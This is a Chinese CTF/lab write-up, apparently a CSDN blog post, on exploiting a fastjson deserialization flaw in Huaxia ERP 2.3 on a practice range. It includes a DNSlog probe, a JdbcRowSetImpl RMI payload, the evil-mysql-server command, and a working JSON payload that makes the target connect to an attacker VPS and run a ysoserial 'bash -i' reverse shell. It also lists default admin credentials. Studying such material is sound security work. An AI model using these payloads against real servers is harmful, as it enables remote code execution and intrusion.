fastjson 反序列化之mysql JDBC 利用

前言:
在打春秋云境Exchange 靶场时,入口点是华夏ERP 2.3版本系统,存在fastjson 反序列化漏洞,在尝试常见的fastjson利用链反弹shell都没有反应,最终使用mysql JDBC利用链反弹shell成功。在此记录一下。

复现本地靶场搭建

在打靶场过程中,迟迟没有利用成功,在本地搭建靶场先进行反序列化利用测试,github下载jshERP-2.3版本源码。
本地用到的工具和数据库环境:

1. IntelliJ IDEA 2020.3.2(使用tomcat 8.5.34,jdk8)
2. 10.3.7-MariaDB(mysql 5.7

1、使用IDEA打开下载的jshERP-2.3项目源码,修改配置文件

修改application.properties配置文件的数据库连接用户密码

在这里插入图片描述

我这里使用的tomcat为8.5.34版本

在这里插入图片描述

2、导入数据库

本地创建jsh_erp数据库,导入jsh_erp.sql文件执行生成表数据

在这里插入图片描述

3、运行靶场

运行ErpApplication 入口文件,启动靶场,无报错成功运行。

在这里插入图片描述

4、反序列化利用

靶场入口是华夏ERP系统,默认管理员账号密码可以进行登录:admin/123456

在这里插入图片描述
登录到后台,华夏ERP系统历史版本中存在很多漏洞的,包括fastjson 反序列化漏洞,这里在用户管理查询中触发

在这里插入图片描述

验证fastjson 反序列化漏洞存在payload:


{"@type":"java.net.Inet4Address","val":"fvnp2k.dnslog.cn"}
进行url编码后在search值发送

burp中进行数据包发送
在这里插入图片描述
dnslog收到消息
在这里插入图片描述

后续中在利用fastjson 反序列化执行命令都是无一失败,IDEA中看到都是类似失败提示not support com.sun.rowset.JdbcRowSetImpl,不支持这些利用链如下,还有更多的这里没有列出来

exp:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://xxx.xx.xx.xx:1099/Exploit", "autoCommit":true
}

在这里插入图片描述

在搜索fastjson 反序列化与JDBC之后发现可以使用fastjson加mysql反序列化,细看了解之后复现测试
参考1:

在这里插入图片描述

http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA

参考2:
在这里插入图片描述

https://www.cnblogs.com/kingbridge/articles/16720318.html

从华夏ERP源码配置使用的依赖符合触发条件

在这里插入图片描述

evil-mysql-server、ysoserial-all.jar

在复现中需要使用到evil-mysql-server、ysoserial-all.jar 反序列化利用工具

evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial
在这里插入图片描述

ysoserial-all.jar: java反序列利用神器

下载地址:
https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial

反弹shell

在vps服务器上下载evil-mysql-server、ysoserial-all.jar工具回来放在同一目录下,执行命令运行

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

用到的Fastjson 反序列化exp ,只需要修改vpsIP地址和要执行的命令(base64编码后的命令)

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vpsIP地址",
		"portToConnectTo": 3306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

url编码后发送

在这里插入图片描述

vps中收到了数据请求,由于靶场是windows系统不能反弹shell,但是可以看到靶场服务器向vps请求, 执行了恶意的反序列化代码

在这里插入图片描述

最后发现可行之后,也是立马开启了春秋云境Exchange 靶场,使用fastjson+mysql JDBC利用链反弹shell成功

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson反序列化漏洞是指在反序列化过程中,攻击者可以构造恶意的JSON字符串,通过利用Fastjson的特性和漏洞来执行任意代码。具体的复现过程如下: 1. 构造恶意的JSON字符串,其中包含需要执行的代码。可以利用已知的反序列化漏洞利用,或者自行构造payload。 2. 将恶意的JSON字符串传入Fastjson反序列化函数,例如`JSON.parseObject(jsonString, targetClass)`。 3. Fastjson反序列化过程中会调用目标类的getter和setter方法,将JSON字符串还原成对象。恶意代码会在这个过程中被执行。 需要注意的是,Fastjson已经在较新的版本中修复了一些已知的反序列化漏洞,并增加了一些安全措施来防御这些漏洞。因此,要成功复现Fastjson反序列化漏洞,需要使用较旧的版本或者找到新的漏洞利用方式绕过这些安全措施。同时,在实际应用中,为了保证安全性,建议使用最新的Fastjson版本,并对输入进行严格的校验和过滤,以防止恶意代码的注入。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [【漏洞复现】Fastjson反序列化](https://blog.csdn.net/m0_46363249/article/details/122260021)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值